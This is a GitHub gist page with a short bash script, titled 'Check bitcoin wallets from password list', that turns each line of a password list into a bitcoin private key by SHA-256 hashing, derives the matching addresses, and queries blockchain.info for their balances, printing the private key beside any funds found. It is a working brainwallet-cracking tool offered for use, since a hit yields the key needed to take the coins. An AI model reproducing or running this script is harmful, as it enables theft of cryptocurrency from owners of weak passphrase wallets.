Skip to content

Instantly share code, notes, and snippets.

@kirkins
Created February 14, 2019 18:25
Show Gist options
  • Save kirkins/eca5bca8e2b5f45b5044dca51a5ea2b4 to your computer and use it in GitHub Desktop.
Save kirkins/eca5bca8e2b5f45b5044dca51a5ea2b4 to your computer and use it in GitHub Desktop.
Check bitcoin wallets from password list
#!/usr/bin/env bash
# Source script from: https://github.com/grondilu/bitcoin-bash-tools.git
source ./bitcoin.sh
while read p; do
PRIVATE=$(echo $p | sha256sum | cut -f 1 -d " ")
P1=$(newBitcoinKey 0x$PRIVATE \
| grep bitcoin\ address \
| head -1 \
| cut -f 2 -d ":" \
| tr -d " ")
P2=$(newBitcoinKey 0x$PRIVATE \
| grep bitcoin\ address \
| tail -1 \
| cut -f 2 -d ":" \
| tr -d " ")
B1=$(wget -qO- blockchain.info/rawaddr/$P1 2>&1 \
| grep -Po '"final_balance":\K[0-9]+')
B2=$(wget -qO- blockchain.info/rawaddr/$P2 2>&1 \
| grep -Po '"final_balance":\K[0-9]+')
echo $PRIVATE,$B1,$B2
done < passwords.txt
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment